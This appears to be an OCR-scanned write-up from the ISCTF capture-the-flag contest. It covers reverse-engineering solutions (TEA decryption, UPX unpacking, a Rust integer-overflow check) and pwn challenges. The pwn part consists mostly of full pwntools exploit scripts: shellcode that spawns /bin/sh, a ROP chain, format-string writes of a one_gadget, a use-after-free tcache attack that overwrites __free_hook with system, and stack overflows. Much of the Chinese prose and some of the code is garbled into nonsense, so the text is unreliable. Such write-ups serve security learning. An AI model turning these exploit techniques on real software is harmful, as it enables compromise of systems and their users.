
.text:0041270A 89 45 F4 mov [ebp-@Ch], eax

.text:0041270D C7 45 D8 @C 00 00 00 mov dword ptr [ebp-28h], @cCh
.text:00412714 C7 45 DC 22 @0 00 00 mov dword ptr [ebp-24h], 22h ; '"'
.text:0041271B C7 45 E@ 38 00 00 00 mov dword ptr [ebp-2@h], 38h ; '8’

.text:00412722 C7 45 E4 4E 00 00 00 mov dword ptr [ebp-1Ch], 4Eh ; "N’
.text:00412729 33 Co o eax, eax

.text:0841272B 85 CO test eax, eax

.text:0041272D 74 @B jz short near ptr [locret_412739+1
.text:0041272D

.text:0041272F 75 @0 jnz short $+2

.text:0041272F
.text:00412731

.text:00412731 loc_412731: ; CODE XREF: .text:0041272F1
.text:@0412731 SE pop esi

.text:00412732 23 C3 and eax, ebx

.text:00412734 50 push eax

.text:00412735 33 C3 xor eax, ebx

.text:00412737 74 @3 jz short loc_41273C

.text:00412737

.text:00412739

.text:00412739 locret_412739: ; CODE XREF: .text:0041272DT
.text:00412739 C2 8B F4 retn @F48Bh

WNATR2N ANAT272N:  +avt -ANAT1272N (Ssmehranizad with Hav Wiaw—11



lint __cdecl sub_41241@(unsigned int *al, _DWORD *a2)
{

int result; // eax

unsigned int i; // [esp+1@ch] [ebp-2Ch]
int v4; // [esp+118h] [ebp-26h]

unsigned int v5; // [esp+124h] [ebp-14h]
unsigned int v6; // [esp+136h] [ebp-8h]

__CheckForDebuggerJustMyCode (&unk_41F066);

ve = *al;

v5s = al[l];

Vi = @;

for (1 =0; 1 < @x20; ++i )
{

v4 -= 164@531527;
vE += (a2[1] + (v5 >> 5)) ™ (v4 + v5) ~ (*a2 + 16 * v5);
V5 += (a2[3] + (v6 »>> 5)) ™~ (v4 + ve) ™ (az2[2] + 16 * v6);
}
*al = v6;
result = 4;
al[1] = v5;
return result;

BBARCATLATEA1115126522LA % 2014982346 L2 1EHAVEX, BHBLUINRE X AT a4 E

Py
=
o)

if ( *(_DWORD *)(al - 16) == 1115126522 )

{
if ( *(_DWORD *)(al - 12) == 2014982346 )
{
v4d = sub_4111AE(std::cout, "Congrtulation!");
((void (__thiscall *)(int))std::ostream: :operator<<)(v4);
return 9;
}

#include<stdio.h>

#include<string.h>
#include<iostream>
#include<stdint.h>

void decrypt (uint32_t* v, uint32_t* k) {
uint32 t v@=v[0], vl=v[1], sum=0xC6EF3720, i; /* set up */

uint32_t delta=0x9%9e3779b9; /* a key schedule cons
uint32_t k@=k[0], ki=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /¥ basic cycle start *

vl -= ((v@<<4) + k2) ™ (vO + sum) ~ ((vO>>5) + k3);
vl -= ((vl<<4) + k@) ~ (vl + sum) ~ ((v1>>5) + kl1);

sum -= delta;
} /* end cycle */
v[@]=veO;
v[1]=vl;
}
int main()
{

uint32_t v[2] = {1115126522,2014982346} , k[4] = {12,34,56,78};

decrypt(v,k);
printf("%d %d",v[0],v[1]);



{ERTLAIE%1472353 3847872, SAIGRRISCTF{}E 2 _HIB3ZEIAT

mfx_re

HHER A f00001111

Eh: UPXENS

SRR, BHHEPEIMPXEZIUPX, mixEialupx, ERupxiiss, ERIDADHT, BRRERSIEN
BEANNZHFRPENZER, HEREFRFFRBITE], RERAKREDE],

a=""XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX "
for i in a:
print(chr(ord(i)-1),end="")

z3_revenge

HERA: 00001111
Em: 23, BAE

BB ALBIRILCRAIRE, AT, IDAFTHEIEIERIZIE, ifhArsiEl, JLIBE SRR
EFRKESNEENE, SEIRKISCTREAGRETERE, EaLUERz3 MRS IRGZEEE
Xig, AAEHE, EETEERERYENREEER.

ezrust

HEA: guogl

RustimSHY, REFRFSHEOMNK

ET7—1UPX4.02095%%, BN, ExAtaEERAI, TR

LSS TIERUEBANGL, MRHTIHLE T, s8528IMagiKEN3200ER, SPAIDARHEE
:~% .fezrust

ISCTF{F4K3f1a9}

Welcome to the program I coded to learn basic Rust!

Input your flag:
ISCTF{0123456789}

thread 'main' panicked at src/main.rs:29:5:
assertion "left == right  failed: Wrong length!
left: 17

right: 32
note: run with "RUST BACKTRACE=1" environment variable to display a backtrace

ZIETRIIDARERT, NIBUEZEAIEHRIDAIRBIRTREEL/NEE, RERIRNSEHRS, GixXtE



af://n767
af://n775
af://n782

142 _$LT$alloc..vec. . Vec$LT$TSCEASGTSSU20Fasfu20%core. cops. . index. . Index$LT$ISGTHEGTH: : index: th787eeeb7b3@bab3c(
143 (unsigned int)vss,

144 v73,

145 (unsigned int)&off_7ae7e,
146 V28,

147 v3e,

148 v31,

149 V40,

158 v45,

151 V5@,

152 vs3,

153 V56,

154 V59,

155 v63,

156 v66);

HEREL, LLIDAIRBI—T2%, BHEFRIF/UR, BEEXMARISHAIREHRERINER ST
7

108 if ( vi7 != vi15 - *( BYTE #*)(vi6 + v13) )

109 {

110 core::fmt::Arguments::new _const::h8c116149d34b7834(v39, &off 7AQE8, 1LL);
111 std::io::stdio:: print::h42de43954762a33e();

112 std::process::exit::h8f39bd260319d39d();

113 1

RIS BRI, ARTRIEREE EHERFRIR, RATENS, MM T AR 5E
Hk, WREMTE—RRustEEBRIZES, BRI T T —MEFR, 2B Veclindex]AY
#F

BELEMERMATIRMIZRE T, REEZFIEAL T S noname_encode

62 || ezrust::noname_encode: :h6e568329f91a4865( (unsigned int)v31l, (unsigned int)v41l, (unsigned int)v42, a4, a5, a6);

63 vAsTI = vZs;
64| vaz[e] = v27;
65| vaa[l] = v3e;
66| vaa[e] = v2o;

67 |ezrust::nonameiencode::ha539c6b6762f1ba?(v32, (_ inte4)vas, (Aiint64)v44);|
62| core::fmt::Arguments:inew_const: :h8c116149d34b7834(v33, &off_7A040, 1LL);
69| std::io::stdio::_print::h42dea3954762a33e();

70| core::fmt::Arguments::inew const::h8c116149d34b7834(v34, &off 7Ae50, 1LL);
71| std::io::stdio:: print::h42de43954762a33e();

72 [ ezrust::get input::hfchof744@e2190bb(v35); |

BRSERR ERIAHOHINTRELEMT T, S0 Fnum1[i] + inputli] = num2[i] - KEY[ORDERIi]]

ItbAF##noname_encodefREEIRFIINZ A AN, SChr ERER—NMERASERIE

44 v17 = _$LT$us$u2efas$u20$core..ops..bit..BitXor$GT$: :bitxor: :h1f265de79a5ae124(
45 *(unsigned _ int8 *)(a2 + v18),
46 *(unsigned _ int8 *)(a3 + vi18));

MEEER B LEtCBAEERIMRE, BINARHRERIA



42 *(_QWORD *)&v23 = @x11A5C52352724C9BLL;
43 *((_ QWORD *)&v23 + 1) = 0x436BFOFB268E1661LL;
44 *(_QWORD *)&v24 = @X3BED750E95ACBD83LL;
45 *(( QWORD *)&v24 + 1) = OXB3EFA2B8D8315EEOLL;
46 *(_QWORD *)&v25 = BXEES5A3ADCADSDB364LL;
a7 *((_QWORD *)&v25 + 1) = OxBC940F0AD971E99ELL;
48 *(_QWORD *)&v26 = @xC4128AF16A53427CLL;
49 *((_ QWORD 7)&v26 + 1) = Ox4C1@5DA727CEA11FLL;
50 *( _QWORD *)&v27 = @XAOBDDABBCOF7E797LL;
51 *((_QWORD *)&v27 + 1) = OxCOAB89DCE2AABACTLL;
52 *(_QWORD *)&v28 = OXBCD3E9C496A2B3B5LL;
53 *((_QWORD #)&v28 + 1) = OXA1A7B6A3C68ACIOFLL;
54 *(_QWORD *)&v29 = @x203D5A3B49776717LL;
55 *((_QWORD *)&v29 + 1) = 0x4026095C622A3447LL,;
56 *(_QWORD *)&v30 = @x3C53694416223335LL;
57 F((_ QWORD *)&v30 + 1) = @x21273623460A411FLL;

WNERYFIXAYE, Enoname_encodefimainiRigcheckfEIAER, EEBANERSM, FBrEZEEN
T RIRECRLI B anti-debug

AR SR EEEAINnum T Inum2EERYE, EIDAFRERHIRAZZE0XFFRI0X80, MIXERIR SR
SRustCourseIEERZizsHERSS, ERIEATNUMIFINUM2IRBAYE:u8 = 255F:i8 = -128

#### AN H ] (https://course.rs/basic/base-type/numbers. html#8 A% H)

BRAE—A "u8 , EWLMEB 0 F| 255 [MfH. BB U HESCNTEEZ AMOE, tin 256, &
RAFHRER S % . KTFIX—1T N Rust H—LHWMHN: MU7E debug #E:\4wi%R, Rust 2 rieiy
Hit, FHAAIEIXEE ), W ERFEG IR *panic* (T, Rust (XD ARIERRIAFETF R RTTEH) .
N “--release” Z#ili4T release HEAMEI, Rust ** xRN H . A, kil 358 g
I, Rust SIEIEAMUFEMEH (*two’s complement wrapping®) HIFUNALEE. MMiE2, KTi%%
B R AB PR B 2 1 MR 2 0 R R B B 08 SR (X A2 (M BB PhndE “u8” MIfBH R, 256 AFRk
0, 257 AR 1, fkibHE. BFAL *panic®, (H&ZRENEMREALAEIENE. KBIXFERAT )
[ AR #1205 A 9 i R PR A RS

MERERREEINEIRHTIZEE, XNFHFAIZnum1[i] + input[i] = num2[i] - KEY[ORDER]i]]

FEEEIFONER GRS, BEHTHE, RIA52IlaghE

ISCTF{Ru5t_4nd_1lnteger_Ov3rflow}

Pwn
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test_nc nc_shell ezpie stack
415 Solves 396 Solves 68 Solves 53 Solves

@ 50 @ 50 ® 574 @ 744

fmt fries abstract_shellcode touch_file1
38 Solves 27 Solves 21 Solves 28 Solves

@ 870 & 936 & 962 & 966

touch_filez

5 Solves

@ 999

test_nc

HERA : f00001111
E5: netcat{Efa

FBEIR, FEAnetcatiEZAIAIFRE ag

nc_shell

HERA : f00001111
EH: shel MG

EEIW, EfnetcatiEZEWMANISHIEIUE, EHcat flagisEBiflag

abstract_shellcode

HEA: kadelin

RS FAREFEnolMINEIR B Nsyscal i9F 118, #EEREMEApop codei§tkHrIsyscalliE
F2Zlshellcode[EEB, EEBIEFIrax rdi rsi rdx@Ei#{T—/Kread{FtkE5 AshellcodeBfr]getshell

i&exp

from pwn import *
context(os="Tinux', arch="amd64', log_level="'debug')


af://n812
af://n819
af://n826

io = process('./ezshellcode")

jo.recv()
io.send(b'\x0f\x05"') # syscall

wan

shellcode =
push rdi
pop rax
push rbx
pop rdx
push rax
push rax
push rbp
pop rsp
pop rdx
pop rdx
pop rdx
push rdx
push rdx
push rdx
push rdx
push rdx

payload = asm(shellcode) + b"\x5f"
#16
io.send(payload)

shellcode = shellcraft.execve("/bin/sh", 0, 0)
jo.send(b"aa" + asm(shellcode))

jo.interactive()

#ubuntu20.04

ezpie

HEA: kadelin

BEEAR: FXEN, —XEAN, BEE—IZENTEelf _base, EEITHEgadgetittit#aiEropsERIaT
getshell

HBERR: AttEEelf_base


af://n833

from pwn import *
context(os="T1linux', arch="amd64', log_level="'debug')
io = process('./ezpie')

jo.recv()
io.send(b'a'*0x28)

jo.recv(0x2f)

elf = ubd4(io.recv(6).1just(8, b'\x00"')) - 0x1189
pop_rdi = elf + 0x00000000000012a3

pop_rsi_rl5 = elf + 0x00000000000012al

pop_rax = elf + 0x0000000000001238

syscall = elf + 0x0000000000001236

binsh = elf + 0x00002008

jo.recv()

payload = b'a'*0x58 + p64(pop_rdi) + p64(binsh) + p64(pop_rsi_rl5) + p64(0)*2 +
p64(pop_rax) + p64(0x3b) + p64(syscall)
io.sendline(payload)

jo.interactive()

fries

HEA: guoql
REAERPAMIERAUEFERE, FEEENTIRANE=FEZRE8ED.
EEa% FHone_gadgetE(EKUREIMBILRIA],

from pwn import *

i} cocoossoososoosssos BB =—=———————c—ccococsomccacas
context(log_level="debug',arch="amd64',o0s="Tinux") #arch="amd64',arch="i386"
pwnfile="./fries'

elf = ELF(pwnfile)

Tibc = ELF('./1ibc.so0.6")

flag=0 # cff/A4h

ip ='192.168.75.130"

port=10000

sa = lambda s,n : p.sendafter(s,n)
sla = Tambda s,n : p.sendlineafter(s,n)
s1 = Tambda s : p.sendline(s)


af://n842

sd
rc = lambda n : p.recv(n)
Tambda s : p.recvuntil(s)

Tambda s : p.send(s)

ru
it Tambda : p.interactive()
b=Tambda :gdb.attach(p)
d=Tambda :pause()

leak = lambda name,addr :log.success(name+"--->"+hex(addr))
if flag:

p = remote(ip,port)
else:

p = process(pwnfile)

bO

payload=b"'fries\x00'
sa("Emmmmm... Could you give me some fries",payload)

# jtEEbinary

sa("Go get some fries on the pier",b'%25%$p%17$p%31$p"')
ru(b'ox")

adventure_134=int(p.recv(12),16)
binary_base=adventure_134-134-elf.symbols['adventure']
leak("binary_base",binary_base)

# MtF1ibc_base

ru(b'0ox")

puts_346=int(p.recv(12),16)
Tibc_base=puts_346-346-Tibc.sym[ 'puts']
leak("1ibc_base",1ibc_base)

# JMEFE AR

ru(b'0ox")
stack_addr=int(p.recv(12),16)
Tocation_addr=stack_addr-104
leak("location_addr",location_addr)

# one_gadget

one=[0x50a47,0xebc81,0xebc85,0xebc88,0xebce2,0xebd3f,0xebd43]
one_gadget=1ibc_base+one[0]
leak("one_gadget",one_gadget)

Tocation5 i &
Toc_content 5\ A%

al & =HpE (FERBUCE =N )
a2 ThERLE



def double_byte_attack(al,a2,location_addr,content):

content_1 = content & Oxffff # JapifiL
content_2 = (content >> 16)& Oxffff # fLpidEim
content_3 = (content >> 32)& Oxffff # HALHIHEMLL

content_4 = (content >> 48)& Oxffff # il ML
leak("content_1",content_1)
Teak("content_2",content_2)
Teak("content_3",content_3)
leak("content_4",content_4)

location_1= location_addr & Oxffff
location_2= (location_addr + 2)& Oxffff
location_3= (location_addr + 4)& Oxffff
location_4= (location_addr + 6)& Oxffff
leak("location_1",Tocation_1)
leak("location_2",Tocation_2)
Teak("location_3",Tocation_3)
Teak("location_4",Tocation_4)

location=[location_1,location_2,location_3,Tocation_4]
loc_content=[content_1,content_2,content_3,content_4]
for i in range(3):
# 1)\ Arbp_16-8 tHik ek I rbp
payload=b"%" + str(location[i]).encode("utf-8") +
b"c%"+str(al) .encode("utf-8")+b"$hn\x00"
sa("Go get some fries on the pier",payload)
# T MBI Sone_gadget
payload=b"%" + str(loc_content[i]).encode("utf-8") +
b"c%"+str(a2).encode("utf-8")+b"$hn\x00"
sa("Go get some fries on the pier",payload)

double_byte_attack(24,34,location_addr,one_gadget)
log.success("Finshed!!!! That's all")
sa("Go get some fries on the pier",b'Pwn!!\x00")

itO

touchfile1

HEA: xsh


af://n851

rsp Ox7ffea5dafc60 — 0x561c2e99545c (main) <— endbr64
01:0008| 0x7ffea5dafc68 —» 0x561c2e997d90
(__do_global_dtors_aux_fini_array_entry) — 0x561c2e9951c0
(__do_global_dtors_aux) <«— endbr64

02:0010| rsi-6 Ox7ffeaS5dafc70 «— 0x206863756f74 /* 'touch ' */

03:0018] 0x7ffea5dafc78 «— 0x0

el 2 skipped

06:0030]| Ox7ffea5dafc90 «— 0xa68730a31 /* 'l\nsh\n' */ # read_num [
07:0038| Ox7ffea5dafc98 «— 0x403ecd5005a71300

EHEAI, FASNRIEIEM read_num REAVLEIEIREEAEM, BILLATLUBITE read_num R#E
A sh HTLALSES

exp

from pwn import *

context(os="'Tinux"', arch="amd64', Tog_level="'debug')
p = process('./touch_filel")
elf = ELF('./touch_filel")

#gdb.attach(p, 'b *$rebase(0x12c0)\n")

p.sendlineafter(b'> ', b'l" + b'\n' + b'sh")
p.sendlineafter(b'file_name: ', b'a'*0xla)

p.interactive()
#pause ()

touchfile2

HEA: xsh
#cp WREEEEEH idx, B WAAEM ddx fEEE—HEE, TTRISEEL UAF

#Hiexptn F

from pwn import *

from struct import pack
from ctypes import *

#from LibcSearcher import *

def s(a) : p.send(a)

def sa(a, b) : p.sendafter(a, b)

def s1(a) : p.sendline(a)

def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv(Q)


af://n860

def pr() : print(p.recv(Q))
def r1(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():

gdb.attach(p)

pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:]1.Tjust(8, b'\x00"))
def get_sb() : return libc_base + libc.sym['system'], Tibc_base +
next(Tibc.search(b'/bin/sh\x00"'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1l) +
p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0xla)

context(os="1inux', arch="amd64', log_level="'debug')
-g', '1234', './pwn'])

#p = process(['gemu-ppc-static',
p = process(['./pwn'])

#p = remote('node2.yuzhian.com.cn', 32406 )

elf = ELF('./pwn'")

Tibc = ELF('glibc-all-in-one/1ibs/2.31-0ubuntu9.9_amd64/Tibc.so0.6")

# uaf -> Teak Tibc_base
for i in range(9):
sla(b'>"', b'touch ' + chr(ord('a') + i).encode() + b' a')
sla(b'>", b'cp g gg")
sla(b'>", b'cp h hh")

for i in range(8):

sla(b'>"', b'rm ' + chr(ord('a') + 1i).encode())
sla(b'>", b'cat hh'")
Tibc_base = get_addr() - 0x70 - libc.sym['_malloc_hook']

# uaf -> tcache bin attack : free_hook -> system
free_hook = 1ibc_base + 1ibc.sym['__free_hook"']
system = libc_base + 1libc.sym['system']

sla(b'>", b'edit gg ' + p64(free_hook))
sla(b'>", b'"touch 1 /bin/sh\x00")
sla(b'>", b'touch 2 ' + p64(system))
#pwn

sla(b'>', b'rm 1")

inter()

print(' libc_base -> ', hex(libc_base))
#debug ()

stack

HEA: xsh


af://n865

__int64 vulnQ

{
int vl; // [rsp+Ch] [rbp-24h] BYREF
char s[8]; // [rsp+10h] [rbp-20h] BYREF
__int64 v3; // [rsp+18h] [rbp-18h]
int i; // [rsp+2Ch] [rbp-4h]

*(_QWORD *)s = OLL;

v3 = OLL;
i=0;
vl = 0;

printf("size: ");
__isoc99_scanf("%d", &vl);
printf("> ");
for (1 =0; 1 <vl; ++1 )
{

read(0, &s[i], 1luLL);

if ( s[i] == 10 )

break;

}
puts(s);
return OLL;

indiEmR, SELES i f)E, FUAXBEEEEFIF SR | (9E, EEhEEtISEII&HE
from pwn import *
context(os="1inux', arch="amd64', log_level="'debug')
p = process('./stack"')
elf = ELF('./stack"')

#gdb.attach(p, 'b *0x4012b1l"')

p.sendlineafter(b'size: ', str(0x100))
p.sendlineafter(b'> ', b'a'*0Oxlc + p8(0x27) + p64(0x4012EE))

p.interactive()
#pause()

fmt

HRRA . xsh
from pwn import *

context(os="Tlinux"', arch="amd64', log_level="debug')


af://n873

p = process('./fmt")
elf = ELF(C'./fmt")

#gdb.attach(p, 'b printf')
p.sendafter(b'> ', b'%18c%8%$n%34c%9%n")
#pause()

p.interactive()

BRI LULIR a 70 b RORHEALTE(RRS 8 70 9 RINE
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